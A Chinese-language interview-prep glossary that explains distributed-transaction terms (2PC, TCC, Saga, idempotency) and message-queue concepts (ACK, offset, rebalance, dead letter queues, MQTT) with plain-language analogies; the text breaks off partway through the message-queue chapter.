名词速查手册 — 全称 + 白话 + 类比(读任何一篇前先看这个)
名词速查手册 — 全称 + 白话 + 类比(读任何一篇前先看这个)
这份文档是干什么的 面试题库里 01~15 号文档大量使用缩写(
2PC、TCC、TTL、MVCC、RAG、SSRF、XXE、SBOM、EPSS、IMDS、BOLA、MEV、DPIA、BPMN、QoS、LWT……)。 这些词在正文里往往直接就用,不解释——因为写的时候默认你已认识它。 但面试复习时卡在一个缩写上,是最浪费时间的事。本手册把全库出现的 480+ 个术语全部收录,每个都给: 全称 → 一句话白话 → 生活类比 → 去哪篇深入。
怎么用: ① 第一次读某篇文档前,先翻到本篇的「名词速查」小节扫一眼(每篇开头都有) ② 读到不懂的缩写,回来按
Ctrl+F搜 ③ 面试前一天,把「核心概念详解」部分当速记卡过一遍
目录
- 第一章:分布式事务与一致性
- 第二章:消息中间件
- 第三章:缓存
- 第四章:JVM 与并发
- 第五章:数据库
- 第六章:Spring 与开发框架
- 第七章:微服务与分布式中间件
- 第八章:可观测性
- 第九章:云原生与 DevOps
- 第十章:安全
- 第十一章:AI 应用开发
- 第十二章:前端
- 第十三章:通用概念与网络
- 第十四章:易混概念对比(面试最容易翻车的地方)
- 第十五章:大数据(Spark / HBase)
第一章:分布式事务与一致性
这一章是 10 号文档(《数据一致性与缓存同步》)的地基。 如果 2PC / TCC / Saga / XA 这几个词你还没概念,先读完这一章再去看那篇,否则会全程懵。
1.1 本章速查表
| 缩写 / 术语 | 英文全称 | 一句话白话 | 在哪篇 |
|---|---|---|---|
| ACID | Atomicity, Consistency, Isolation, Durability | 单个数据库事务的四个保证:要么全成、要么全败 | 02/03/10 |
| CAP | Consistency, Availability, Partition tolerance | 分布式系统的“三选二”:网络一定不可靠,所以只能在“一致”和“可用”里挑一个 | 10 |
| BASE | Basically Available, Soft state, Eventual consistency | CAP 的务实版:不强求立刻一致,允许中间状态,最终对上就行 | 10 |
| 2PC | Two-Phase Commit | 两阶段提交:先举手投票,再统一行动 | 02/10 |
| 3PC | Three-Phase Commit | 三阶段提交:2PC 的改良版,多了个“预提交”,想解决阻塞问题 | 02/10 |
| XA | eXtended Architecture | X/Open 组织定的分布式事务规范,2PC 是它的实现方式 | 02/10 |
| TCC | Try-Confirm-Cancel | 业务层面的两阶段:先 Try 冻结资源,Confirm 真正扣,Cancel 释放 | 02/10 |
| Saga | Saga(长事务模式) | 把长流程拆成多步,每步配一个“反向操作”,失败了就一步步往回退 | 10 |
| AT | Automatic Transaction | Seata 的无侵入模式:自动帮你生成反向 SQL,你只写业务代码 | 02/10 |
| 刚性事务 | Rigid Transaction | 强一致,事务期间资源一直被锁(如 2PC) | 10 |
| 柔性事务 | Flexible Transaction | 允许短暂不一致,最终对上就行(TCC/Saga/消息队列都算) | 10 |
| 幂等 | Idempotence | 同一个操作执行 1 次和执行 100 次,结果完全一样 | 02/04/09/10 |
| 对账 | Reconciliation | 定期把两边数据拉出来比对,找出不一致并修复——最后一道防线 | 02/03/07/08/10 |
| 冲正 | Reversal | 账记错了,做一笔反向交易把账冲平 | 03/10 |
| 补偿 | Compensation | 业务层面的“撤销”:不是数据库回滚,而是执行一个反向操作 | 10 |
| 空回滚 | Empty Rollback | Try 还没执行(或没成功),Cancel 却先来了 | 02/10 |
| 悬挂 | Hanging | Cancel 比 Try 先到,Try 后到时资源已被释放,再也收不回来 | 02/10 |
| 事务消息 | Transactional Message | RocketMQ 的方案:消息先“半”着不可见,本地事务成功了才投递 | 02/04/10 |
| 半消息 | Half Message / Prepared Message | 已发到 MQ 但消费者看不见的“待定消息” | 02/04/10 |
| 回查 | Transaction Check / 回查 | MQ 迟迟没收到确认,反过来问生产者“这条消息到底要不要发” | 02/04/10 |
| 本地消息表 | Local Message Table | 业务数据和待发消息写进同一个本地事务,靠定时任务补发 | 10 |
| 可靠消息最终一致 | Reliable Eventual Consistency | 靠“消息一定发出去 + 消费端幂等”保证最终一致 | 02/10 |
| 最大努力通知 | Best-Effort Notification | 尽力通知,失败了按节奏重试 N 次就放弃,靠对方主动查 | 10 |
| Seata | Simple Extensible Autonomous Transaction Architecture | 阿里开源的一站式分布式事务框架,支持 AT/TCC/Saga/XA | 02/03/10 |
| Mini-DTX | Mini Distributed Transaction | 本手册 10 号文档里自研的零中间件轻量事务框架 | 10 |
| UNKNOWN | Unknown State | 三态设计里的“不知道成功了没”——最危险的状态,不能盲目重试 | 10 |
| 准实时一致 | Near-Real-Time Consistency | 秒级~分钟级内达到一致,不是立刻,但人几乎感觉不到 | 10 |
1.2 核心概念详解(这几个必须搞懂,面试高频)
ACID —— 单个数据库事务的四条底线
一句话:数据库保证的“要么全做,要么全不做”。
| 字母 | 全称 | 白话 | 生活类比 |
|---|---|---|---|
| A | Atomicity 原子性 | 一批操作是一个整体,不能只做一半 | 转账:扣钱和加钱必须同时成功,不能只扣不加 |
| C | Consistency 一致性 | 事务前后,数据都得符合规则 | 转账前后,两个账户总额必须相等 |
| I | Isolation 隔离性 | 多个事务同时跑,互相看不见对方的中间状态 | 你在 ATM 转账时,别人查到的余额不能是“扣了但还没加”的中间值 |
| D | Durability 持久性 | 事务提交后,哪怕断电数据也不丢 | 银行说“交易成功”,就是真的成功了,不会因为机房停电就反悔 |
面试要点:ACID 是单个数据库的能力。一旦跨库、跨服务,它就管不着了——这才需要分布式事务。
CAP —— 分布式的“三选二”
一句话:网络一定会出问题,所以出问题时你只能保“数据一致”或“服务不挂”中的一个。
| 字母 | 全称 | 白话 |
|---|---|---|
| C | Consistency 一致性 | 所有节点同一时刻看到的数据是一样的 |
| A | Availability 可用性 | 每次请求都能得到响应(哪怕数据可能是旧的) |
| P | Partition tolerance 分区容错 | 网络断开成两半时,系统还能继续跑 |
关键认知(面试必答):
P 是必选项,不是可选项。网络分区是客观存在的(网线会断、机房会抖),你没法选择“不要 P”。 所以 CAP 的真相是:当网络出问题时,你要 C 还是要 A?
- 选 CP:网络断了就拒绝服务,保证数据不错 → 银行核心、支付
- 选 AP:网络断了继续服务,但两边数据暂时不一致 → 大部分互联网业务
生活类比:你和同事同时编辑一份在线文档,网络断了。
- 选 CP:文档直接锁定,谁都改不了(保证不会改冲突)
- 选 AP:你们各自改各自的,联网后再合并(可能会冲突,但一直能用)
BASE —— 对 CAP 的务实妥协
一句话:不强求“立刻一致”,允许中间短暂不一致,只要最后能对上就行。
| 字母 | 全称 | 白话 |
|---|---|---|
| BA | Basically Available 基本可用 | 出故障时允许降级(响应慢点、功能少点),但不能整个挂掉 |
| S | Soft state 软状态 | 允许系统存在“中间状态”(如“支付中”),不要求时刻一致 |
| E | Eventual consistency 最终一致 | 中间状态迟早会收敛,最终所有节点数据一致 |
和 ACID 的关系:
ACID = 刚性,强一致,事务期间锁资源(银行转账)
BASE = 柔性,最终一致,不长时间锁资源(电商下单后"处理中")
生活类比:网购下单后显示“订单处理中”——这就是软状态。 可能几秒后变成“已发货”(成功),也可能变成“下单失败”退款(回滚)。 中间这段不一致是可以接受的,只要最终有个确定结果。
2PC(Two-Phase Commit,两阶段提交)—— 分布式事务最经典的方案
一句话:先问所有参与者“你能提交吗”,全票通过才真正提交。
两个字面意思:
- Two-Phase = 两个阶段
- Commit = 提交
两个阶段在干什么:
【协调者 Coordinator】
(一个总指挥的角色)
│
┌─────────────────┼─────────────────┐
▼ ▼ ▼
【参与者 A】 【参与者 B】 【参与者 C】
(订单库) (库存库) (账户库)
═══════════ 阶段一:投票(Prepare / 举手)═══════════
协调者 → 所有人: "你们都准备好提交了吗?"
参与者各自: 执行 SQL,写 redo/undo 日志,但【不提交】,锁住资源
参与者 → 协调者: A: 好了 ✓ B: 好了 ✓ C: 好了 ✓
═══════════ 阶段二:执行(Commit / 行动)═══════════
协调者看投票结果:
├─ 全票通过 → 通知所有人:"提交!" → 各自 commit,释放锁
└─ 有一票反对 → 通知所有人:"回滚!" → 各自 rollback,释放锁
生活类比:结婚登记
- 阶段一(问意愿):牧师问“你愿意吗?”——新郎新娘各自在心里确认,但还没盖章
- 阶段二(盖章):双方都愿意 → 盖章生效;任何一方不愿意 → 整场取消
关键特征:阶段一和阶段二之间,资源一直是被锁住的(库存锁着、账户锁着)。 这就是 2PC 最大的问题。
2PC 的三个致命问题(面试必答):
| 问题 | 说明 | 后果 |
|---|---|---|
| ① 阻塞 / 资源长时间占用 | 锁从阶段一 hold 到阶段二结束 | 高并发下连接池被打满,吞吐暴跌 |
| ② 协调者单点故障 | 协调者挂了,参与者不知道该提交还是回滚 | 只能干等着,锁一直不放,整个流程卡死 |
| ③ 阶段二丢消息导致数据不一致 | 协调者让 A 提交了,但通知 B 时网络断了 | A 提交了、B 没提交 → 数据不一致 |
为什么金融核心还在用:因为它是最简单、最“强一致”的方案,传统银行核心系统并发不高,能接受性能损耗。
和 3PC 的关系:3PC 想解决“协调者挂了导致阻塞”的问题,加了超时机制和预提交阶段,但因为实现复杂、且依然解决不了阶段二的数据不一致,所以工业界几乎不用 3PC。面试时答出这点很加分。
XA —— 2PC 的“规范”版本
一句话:XA 是 X/Open 组织制定的接口规范,2PC 是它背后的协议。
常见的混淆:
XA = 规范(定义了 TM、RM 这些角色和接口) ← 是"标准文档"
2PC = 协议(两阶段提交的流程) ← 是"实现方式"
JTA = Java 对 XA 规范的实现(Java Transaction API)← 是"Java 接口"
Atomikos / Narayana = JTA 的具体实现库 ← 是"能跑的代码"
生活类比:
- XA 像是“USB 接口标准”(规定了形状、引脚、电压)
- 2PC 像是“USB 传输协议”(规定了数据怎么传)
- JTA/Atomikos 像是“某个品牌的 U 盘”(具体实现)
面试怎么说:
“XA 是一套规范,它用 2PC 协议实现。Java 里对应 JTA,常用实现是 Atomikos。 它的问题是资源锁持有时间长、性能差,所以我们只在传统金融核心用,互联网业务一般不上。”
TCC(Try-Confirm-Cancel)—— 业务层的两阶段
一句话:不用数据库锁,改成业务上预留资源,分“冻结 / 确认 / 释放”三步。
三个词的含义:
| 阶段 | 干什么 | 白话 | 例子(扣 100 元) |
|---|---|---|---|
| Try | 预留 / 冻结资源 | “先占住,但还没真给” | 账户余额 1000 → 可用 900,冻结 100 |
| Confirm | 确认执行 | “真的扣掉”(幂等,可重试) | 冻结的 100 真正扣掉 → 余额 900,冻结 0 |
| Cancel | 取消 / 释放 | “把占住的资源还回去”(幂等) | 冻结的 100 解冻 → 可用 1000,冻结 0 |
和 2PC 的本质区别(面试必答):
| 2PC | TCC | |
|---|---|---|
| 锁在哪层 | 数据库层:数据库行锁 | 业务层:业务字段(冻结金额字段) |
| 锁了什么 | 数据库资源(连接、行锁) | 业务资源(自定义“冻结”字段) |
| 锁多久 | 从阶段一到阶段二,跨网络 | Try 一结束就释放,Confirm 是独立短事务 |
| 性能 | 差(长事务占连接) | 好(粒度可控,锁时间短) |
| 侵入性 | 低(框架做,业务无感) | 高(每个服务要写 3 个接口) |
关键理解:
2PC 的问题是“锁在数据库层,你控制不了粒度”。 TCC 把锁搬到业务层,用“冻结金额”这样的业务字段来表达预留——粒度由你定,锁的时间也由你定。
生活类比:餐厅订位
- Try:打电话订位,餐厅把 10 号桌标记为“已预订”(别人订不了,但你还不能用)
- Confirm:你人到店,落座开吃(预订变成实际使用)
- Cancel:你不来了,打电话取消,桌子释放给别人
TCC 必须解决的三个问题(面试高频,详见 10 文档 2.3 节):
- 空回滚:Try 没执行成功,Cancel 却先来了 → 要能正确返回成功,不能报错
- 幂等:网络重试导致 Confirm/Cancel 被调用多次 → 结果必须一样
- 防悬挂:Cancel 比 Try 先到 → 之后的 Try 必须被拒绝,否则资源永远收不回
Saga —— 长流程的“一步步往回退”
一句话:把长事务拆成一串小步骤,每步配一个反向操作,失败了就倒着执行反向操作。
为什么需要它:
有些流程太长(跨小时、跨天、含人工审核),不可能锁资源锁那么久。 而且有些服务根本没有“回滚接口”(比如第三方银行、外部物流)——TCC 和 2PC 都做不了。
两种实现:
| 编排式(Orchestration) | 协同式(Choreography) | |
|---|---|---|
| 怎么工作 | 有个“总指挥”按顺序调各服务,失败时反向调补偿 | 没有总指挥,各服务监听事件自己决定下一步 |
| 优点 | 流程清晰,好排查 | 服务解耦,无单点 |
| 缺点 | 总指挥是单点,逻辑集中 | 流程散落,难追踪 |
生活类比:订机票 + 酒店 + 租车的套餐
- 订机票 ✓
- 订酒店 ✓
- 租车 ✗(没车了)
- 补偿:退酒店 → 退机票(倒着来)
和 TCC 的区别:
TCC : 有"预留"概念,Try 阶段资源被冻结,别人用不了 → 隔离性好
Saga : 没有预留,每步都是【真实提交】,失败再反向撤销 → 隔离性差(会出现脏读)
面试要点:Saga 的隔离性缺失是它的硬伤——中间状态会被别人读到。 解法是“语义锁”(如给订单加“处理中”标记,其他操作看到就拒绝)。
AT(Automatic Transaction)—— Seata 的无侵入模式
一句话:你只写业务 SQL,Seata 自动帮你生成反向 SQL 用于回滚。
它怎么做到“无侵入”(面试加分点):
阶段一:
Seata 拦截你的业务 SQL
├─ 执行前:先查一次"修改前的数据" → 存成 undo log(前镜像)
├─ 执行你的 SQL
└─ 执行后:再查一次"修改后的数据" → 存成 undo log(后镜像)
然后在同一个本地事务里提交业务数据 + undo log
阶段二:
├─ 全局成功 → 删掉 undo log 就行(几乎零成本)
└─ 全局失败 → 拿 undo log 里的"前镜像"生成反向 UPDATE,把数据改回去
和 TCC 的取舍:
| Seata AT | TCC | |
|---|---|---|
| 侵入性 | 低(只加个注解) | 高(写 3 个接口) |
| 锁 | 全局锁(TC 侧),到阶段二才释放 | 业务字段,Try 结束就释放 |
| 性能 | 中 | 高 |
| 适用场景 | 想快速落地、业务逻辑简单 | 资金、库存等要求高性能高可控 |
面试怎么说:
“AT 是 Seata 的主推模式,对业务几乎零侵入——它在阶段一自动生成前后镜像存 undo log, 回滚时用镜像生成反向 SQL。代价是需要全局锁,性能不如 TCC。我们项目如果是资金类会选 TCC。”
幂等(Idempotence)—— 分布式系统的第一原则
一句话:同一个操作执行一次和执行一百次,结果完全一样。
为什么必须有:
分布式系统里重复是常态,不是异常:
- 网络超时 → 调用方重试
- MQ 重投 → 消息重复消费
- 用户手抖 → 连点两次提交
如果不做幂等,一次超时重试就会重复扣款、重复发券、重复下单。
常见幂等方案(详见 10 文档 3.4 节):
| 方案 | 怎么做 | 适用 |
|---|---|---|
| 唯一键 / 数据库去重表 | 用业务唯一键建唯一索引,重复插入直接失败 | 插入类操作 |
| Redis SETNX | 用唯一 key 占位,占到位才执行 | 高并发、需要过期时间 |
| 状态机 | 只允许“待支付→已支付”这种定向流转 | 有状态的业务(订单) |
| 乐观锁 / 版本号 | UPDATE ... WHERE version = ? |
更新类操作 |
| Token 机制 | 先领 token,提交时校验并删除 | 前端防重复提交 |
幂等键的设计三原则:
- 业务含义明确:
userId + activityId + date(谁、参加什么活动、哪天) - 粒度刚好:太粗会误拦(同一个人一天只能下一单?),太细拦不住
- TTL 要大于最大重试周期:这是最容易踩的坑——Redis 幂等键 TTL 设 5 分钟,但消息重试可能持续 2 小时,5 分钟后键过期,重复消息就穿透了
生活类比:电梯的“关门”按钮——按 1 次是按 100 次,门都是关一次。
空回滚 与 悬挂 —— TCC 的两个孪生陷阱
这两个概念名字很怪,但理解了原理就不难。
空回滚(Empty Rollback)
场景:协调者让分支执行 Try,但网络超时了,Try 其实没成功(或根本没到)。 协调者判定失败,发起 Cancel。 此时这个分支从来没 Try 过,却收到了 Cancel。
为什么要特殊处理:
如果 Cancel 里直接写“释放冻结的 100 元”,而账户根本没冻结过,就会凭空多出 100 元——这是资损!
正确做法:Cancel 前先查“这条事务的 Try 记录”存不存在。
- 存在 → 正常释放
- 不存在 → 记一条“已回滚”的标记,直接返回成功(不能报错,否则协调者会一直重试)
悬挂(Hanging)
场景:Try 请求因为网络拥堵迟到了。 协调者已经超时发起 Cancel 并且成功了,此时迟到的 Try 才姗姗来迟。 如果照常执行 Try,就会冻结一笔永远不会被释放的资源——这笔钱再也回不来了。
正确做法(防悬挂):执行 Try 前先查“这条事务有没有 Cancel 记录”。
- 有 → 直接拒绝,返回失败
- 没有 → 正常执行 Try 并记痕
记忆口诀:
空回滚 = Try 没来,Cancel 先到 → Cancel 要能"空转"成功
悬 挂 = Cancel 先到,Try 后到 → Try 要能被"拦住"
生活类比:
- 空回滚:你没订过位,却打电话取消——餐厅要说“好的,已取消”(而不是“你没订过,报错”)
- 悬挂:你取消了预订之后,之前寄出的预订信才寄到——餐厅必须拒绝这封信,否则桌子会被一直占着
事务消息 / 半消息 / 回查 —— RocketMQ 的一套组合拳
这三个词是一套机制,必须一起理解。
要解决的问题:
“我要在本地数据库插一条记录,同时发一条 MQ 消息通知下游。” 这两个动作无法在一个事务里完成(数据库和 MQ 是两套系统)。
- 先插库再发消息 → 消息发送失败,下游不知道
- 先发消息再插库 → 插库失败,下游收到了不存在的业务
RocketMQ 的解法(四步):
① 生产者发【半消息】给 MQ
└─ 半消息 = 已到 MQ,但消费者【看不见】的消息(存在 RMQ_SYS_TRANS_HALF_TOPIC)
└─ 目的:先探一下 MQ 活着没
② MQ 回 "半消息已收到",生产者执行【本地事务】
└─ 就是你的业务代码(插数据库)
③ 生产者根据本地事务结果告诉 MQ:
├─ 成功 → Commit:半消息转正,消费者可见
└─ 失败 → Rollback:半消息被丢弃
④ 如果 ③ 这一步【迟迟没来】(生产者挂了、网络断了)
└─ MQ 会【回查】:主动问生产者 "这条消息到底要不要发?"
└─ 生产者查本地事务状态后回答
三个术语对应:
| 术语 | 是什么 | 白话 |
|---|---|---|
| 半消息 | Half Message | 已投递但消费者看不见的“待定消息” |
| 事务消息 | Transactional Message | 整个这套机制(半消息 + 本地事务 + 回查) |
| 回查 | Transaction Check | MQ 主动反过来问生产者“这条消息的最终状态” |
面试高频追问:“回查时查不到记录怎么办?” 这是最能区分水平的题,要分三层答:
- 记录不存在 → 本地事务肯定没成功 → 返回 Rollback
- 记录存在但状态还是“处理中” → 可能正在执行 → 返回 Unknown,让 MQ 下轮再查(不能贸然回滚!)
- 回查次数超过上限(默认 15 次) → 强制回滚 + 告警 + 落对账表,人工介入
生活类比: 你在网上下单,先“锁定库存”(半消息),然后付款(本地事务)。 如果 15 分钟你都没付款也没取消(超时未响应),系统主动给你发短信问“这单还要吗”(回查)。 一直不回 → 自动取消订单(强制回滚)。
1.3 第一章小结:一张图看懂方案选型
【你的业务要跨几个服务/库?】
│
┌───────────────┴───────────────┐
│ │
【同一个库】 【跨库/跨服务】
│ │
直接用 @Transactional │
(本地事务,ACID 保证) │
│
┌───────────────┴───────────────┐
│ │
【要强一致,可以慢】 【可以最终一致】
│ │
2PC / XA / Seata AT │
(锁资源,性能差) │
┌───────────────┴───────────────┐
│ │
【资源可预留】 【长流程/无回滚接口】
(钱、库存) (跨天、第三方)
│ │
TCC Saga
(Try/Confirm/Cancel) (正向+补偿)
【跨服务,一致性要求不高】
│
可靠消息最终一致 / 本地消息表
(最常用,互联网主流)
│
【对方可能收不到也不重要】
│
最大努力通知 + 对账
一句话选型口诀:
能不用分布式事务就不用 → 必须用的话,能异步就异步(消息队列) → 异步不行再看资源能不能预留(能就 TCC,不能就 Saga) → 只有传统金融核心才考虑 2PC/XA → 无论选哪个,都要有对账兜底
深入阅读:10 号文档 2.1~2.5 节(本手册第一章对应的完整讲解)
第二章:消息中间件
这一章对应 04 号文档(《中间件》)和 10 号文档第三章。 消息队列的概念本身好懂(“存消息的队列”),但 ACK、offset、Rebalance、死信队列 这几个词光看名字完全猜不出意思。
2.1 本章速查表
| 缩写 / 术语 | 英文全称 | 一句话白话 | 在哪篇 |
|---|---|---|---|
| MQ | Message Queue | 消息队列,存消息的“中转站”,让两个服务不必同时在线 | 02/03/04/08/10 |
| Broker | Broker(消息服务器) | MQ 的服务端本体,负责收、存、发消息 | 04/10 |
| Producer | Producer(生产者) | 发消息的一方 | 04/10 |
| Consumer | Consumer(消费者) | 收消息的一方 | 04/10 |
| Topic | Topic(主题) | 消息的分类,类似“频道” | 04/10 |
| Queue / Partition | 队列 / 分区 | Topic 再细分,用来并行处理,提高吞吐 | 04/10 |
| offset | offset(偏移量) | 消费者“读到哪一条了”的位置标记 | 04/10 |
| ACK | ACKnowledgement | 消费者处理完后的“确认回执” | 04/10 |
| Consumer Group | Consumer Group(消费组) | 一组干同样活的消费者,共同分担一个 Topic | 04/10 |
| Rebalance | Rebalance(重平衡) | 消费者数量变了,重新分配“谁消费哪个分区” | 04/10 |
| 死信队列 | Dead Letter Queue(DLQ) | 反复消费失败的消息,被丢进这个“垃圾桶”单独处理 | 03/04/10 |
| 重试队列 | Retry Queue | 消费失败的消息先放这里,按节奏重试几次 | 04/10 |
| 消息堆积 | Message Backlog | 生产速度 > 消费速度,消息越攒越多 | 04/10 |
| 顺序消息 | Ordered Message | 保证消息按发送顺序被消费 | 02/04/10 |
| 延时消息 | Delayed / Scheduled Message | 发出去后不立刻投递,到点才投(如 30 分钟未支付关单) | 04/10 |
| 事务消息 | Transactional Message | 见第一章 1.2 节(半消息 + 回查) | 02/04/10 |
| Exactly Once | Exactly Once(精确一次) | 消息恰好被处理一次,不丢不重 | 04/10 |
| At Least Once | At Least Once(至少一次) | 消息可能重复,但绝不丢 —— MQ 的默认语义 | 04/10 |
| At Most Once | At Most Once(至多一次) | 消息可能丢,但绝不重复 | 04/10 |
| 推模式 | Push | Broker 主动把消息推给消费者(实时,但容易压垮消费者) | 04 |
| 拉模式 | Pull | 消费者主动去 Broker 拉(可控,但有延迟) | 04 |
| 长轮询 | Long Polling | 拉模式的改良:没消息时连接挂起等待,有消息立刻返回 | 04 |
| 削峰填谷 | Peak Shaving | 用 MQ 扛住瞬时高峰,下游按自己的节奏慢慢消费 | 04/10 |
| RocketMQ | RocketMQ | 阿里开源的消息队列,事务消息是它的强项 | 02/03/04/10 |
| Kafka | Kafka | 最初为日志设计的消息队列,吞吐量极高 | 02/04/07/08/10 |
| RabbitMQ | RabbitMQ | 老牌消息队列,功能丰富,吞吐不如前两者 | 04 |
| MQTT | Message Queuing Telemetry Transport | 物联网用的超轻量消息协议,长连接 + 发布订阅,为弱网和小设备设计 | 15 |
| 发布/订阅 | Publish / Subscribe(Pub/Sub) | 发的人不知道谁会收到,收的人只订阅感兴趣的频道 —— 双方完全解耦 | 04/15 |
| Publisher / Subscriber | 发布者 / 订阅者 | MQTT 里的“作者”和“粉丝”,一个客户端可以同时是两者 | 15 |
| QoS | Quality of Service | 消息投递的可靠等级:0 最多一次 / 1 至少一次 / 2 恰好一次 | 15 |
| 保留消息 | Retained Message | Broker 记住每个主题的最后一条,新订阅者一上线就立刻收到 | 15 |
| 遗嘱消息 | Last Will and Testament(LWT) | 设备提前留好的“遗言”,它意外掉线时 Broker 自动代发 | 15 |
| 会话 | Session | Broker 为客户端保留的档案(订阅关系 + 未确认消息),重连后能补发离线消息 | 15 |
| Clean Session | Clean Session | true = 断开即忘(离线消息丢失);false = 保留档案(能收离线消息) |
15 |
| 心跳 | Keep Alive | 客户端每隔 N 秒发 PINGREQ 报平安,超时未报 Broker 就判定掉线并触发遗嘱 | 15 |
| 通配符 | Wildcard | 订阅时用:+ 匹配单层,# 匹配多层;发布时不能用 |
15 |
| ClientId | Client Identifier | 客户端唯一标识,Broker 靠它认人 —— 重复会导致两个连接“互踢” | 15 |
| 共享订阅 | Shared Subscription | 多个订阅者分摊同一主题的消息(负载均衡),MQTT 5.0 / EMQX 扩展能力 | 15 |
| IoT | Internet of Things | 物联网,把传感器、车、家电等设备连上网 | 13/15 |
| CoAP | Constrained Application Protocol | 另一个物联网协议,跑在 UDP 上,比 MQTT 更轻但功能少 | 15 |
| OTA | Over-The-Air | 空中升级:远程给设备推送固件(★ 固件走 HTTP 下载,MQTT 只发 URL) | 15 |
| EMQX / Mosquitto | — | MQTT Broker(服务端):EMQX 支持百万连接,Mosquitto 轻量适合学习 | 15 |
| Paho | Eclipse Paho | Eclipse 出的 MQTT 客户端库(Java / Python / JS 都有) | 15 |
2.2 核心概念详解
MQ(Message Queue,消息队列)—— 三个字母拆开就是它的全部
Message(消息) = 要传递的数据 Queue(队列) = 先进先出的存储结构 一句话:一个“暂存消息的箱子”,发送方放进去就走,接收方有空再取。
为什么需要它(三个核心价值):
| 价值 | 说明 | 例子 |
|---|---|---|
| ① 解耦 | 发送方不需要知道接收方是谁、在不在 | 下单服务发“订单已创建”,库存、积分、物流各自订阅,互不影响 |
| ② 异步 | 发送方不用等着,发完就返回 | 用户注册后,发券/发短信/建档案异步做,注册接口立刻返回 |
| ③ 削峰 | 瞬时高峰先堆在 MQ 里,下游慢慢消费 | 秒杀 10 万请求进来,MQ 兜住,订单服务每秒只处理 2000 条 |
生活类比: MQ 就像公司前台的收件箱。
- 快递员(生产者)把包裹放前台就走,不用等你来拿(解耦 + 异步)
- 你(消费者)有空了再去前台取(削峰)
- 双十一包裹堆成山,前台先堆着,你一件件拿(堆积)
ACK(ACKnowledgement,确认回执)—— 消费者打给 MQ 的“收到了”
一句话:消费者处理完消息后,给 MQ 发一个“这条我处理好了”的信号。
为什么必须有:
MQ 不知道你的业务代码有没有真的执行成功。 你拿到消息,代码执行到一半崩了——MQ 得知道“这条没成功,得重发”。 ACK 就是消费者告诉 MQ “成功/失败”的机制。
三种情况:
① 消费成功 → 返回 ACK(CONSUME_SUCCESS)
MQ 把这条消息的 offset 往后推,不再投递
② 消费失败 → 返回 RECONSUME_LATER
MQ 过一会儿重新投递(进重试队列)
③ 消费者挂了,迟迟不返回
MQ 等超时,认为失败,重新投递给同组其他消费者
最容易踩的坑:
先执行业务,再返回 ACK —— 顺序反了会丢消息。 如果你先 ACK 说“处理好了”,然后业务代码崩了,MQ 以为成功了,这条消息就永远丢了。
生活类比: 快递签收。你拆开检查无误才签字(业务执行成功才 ACK)。 如果快递员把包裹一放就替你签字走人(先 ACK),包裹有问题你就找不回来了。
offset(偏移量)—— “我读到哪了”的进度条
一句话:每个队列里的消息都有递增的编号,offset 就是消费者“读到几号了”。
它长什么样:
Topic: order-topic, Queue-0
┌─────┬─────┬─────┬─────┬─────┬─────┐
│ 0 │ 1 │ 2 │ 3 │ 4 │ 5 │ ← 消息编号(offset)
└─────┴─────┴─────┴─────┴─────┴─────┘
▲
│
消费者当前 offset = 3
(0/1/2 已消费,3 开始往后读)
谁在维护它:
- Kafka:由消费者自己维护,提交到
__consumer_offsets - RocketMQ:由 Broker 维护,消费者 ACK 后 Broker 推进
为什么面试爱问:
因为 offset 什么时候提交,直接决定了消息会不会丢/会不会重复:
- 自动提交(先提交再消费)→ 消费崩了,但 offset 已推进 → 消息丢失
- 手动提交(先消费再提交)→ 消费成功但提交前崩了 → 消息重复
工业界一律选 手动提交 + 消费端幂等,因为“重复”可以用幂等兜住,“丢失”兜不住。
Consumer Group + Rebalance —— 这两个必须一起理解
Consumer Group(消费组)
一句话:一批“干同样活”的消费者组成的组,它们共同消费一个 Topic,每条消息只被组内一个成员处理。
为什么要有“组”这个层级:
场景:订单消息要被三个不同系统处理
├─ 库存系统要扣库存
├─ 积分系统要加积分
└─ 物流系统要创建运单
如果只有一个"消费者"概念 → 三个系统抢同一条消息,每个系统只拿到 1/3 的消息 ❌
有了消费组:
├─ 库存组(2 台机器):完整消费所有订单消息
├─ 积分组(1 台机器):完整消费所有订单消息
└─ 物流组(3 台机器):完整消费所有订单消息
三个组互不干扰,每组内部再分摊 ✅
关键规则(面试必答):
组间是“广播”(每组都拿到全量),组内是“单播”(一条消息只给组内一个成员)。
Rebalance(重平衡)
一句话:组内成员数量变了(有人上线/下线/崩溃),重新分配“谁消费哪些分区”。
什么时候触发:
- 有消费者上线(扩容)
- 有消费者下线(缩容、崩溃、被踢)
- Topic 的分区数变了
为什么要懂它(面试高频):
Rebalance 期间整个消费组会短暂停止消费(类似 JVM 的 STW)。 如果消费者频繁上下线(比如 GC 停顿导致心跳超时被踢),就会反复 Rebalance,消费几乎停摆。
生活类比: 餐厅有 4 张桌子(分区),3 个服务员(消费者)。
- 平时:服务员 A 管 1、2 桌,B 管 3 桌,C 管 4 桌
- 突然 A 请假(下线)→ 经理重新分配(Rebalance):B 管 1、2、3 桌,C 管 4 桌
- 重新分配期间,没人上菜(消费暂停)
死信队列(Dead Letter Queue,DLQ)—— 失败消息的“隔离病房”
一句话:重试了好几次还是失败的消息,被挪到这个特殊队列,不再打扰正常流程。
为什么要它:
如果一条消息永远消费失败(比如数据本身有问题:订单 ID 是 null), 它会一直重试,堵住后面的消息 → 整条队列卡死(毒丸消息 / Poison Pill)。
典型流转:
正常 Topic → 消费失败 → 重试队列(延迟 10s/30s/1m/2m...)
↓ 重试 16 次仍失败
死信队列(DLQ)
↓
告警 + 人工介入(查日志、修数据、手动重投)
工程要点(面试能说出来的加分):
- DLQ 必须有监控告警 —— 否则消息进去没人知道,等于丢了
- 死信要能“手动重投” —— 修完数据后一键放回正常队列
- 死信要保留原始内容 + 失败原因 —— 否则排查时抓瞎
- 不能无限重试 —— 必须有次数上限,否则就是上面说的“毒丸”
生活类比: 快递送了 3 次都联系不上收件人 → 包裹被放到“问题件专区”(死信队列), 不再占用快递员的时间,等收件人主动来联系(人工介入)。
三种投递语义 —— At Least Once / At Most Once / Exactly Once
这是 MQ 面试的必答题,也是最容易答糊的。
| 语义 | 含义 | 会丢消息吗 | 会重复吗 | 怎么实现 |
|---|---|---|---|---|
| At Most Once 至多一次 |
消息最多被处理一次 | 会丢 | 不会 | 发完就不管,不重试 |
| At Least Once 至少一次 |
消息至少被处理一次 | 不会 | 会重复 | 失败就重试(所有主流 MQ 的默认) |
| Exactly Once 精确一次 |
恰好处理一次 | 不会 | 不会 | 需要 MQ 事务 + 消费端幂等配合 |
关键认知(面试必答):
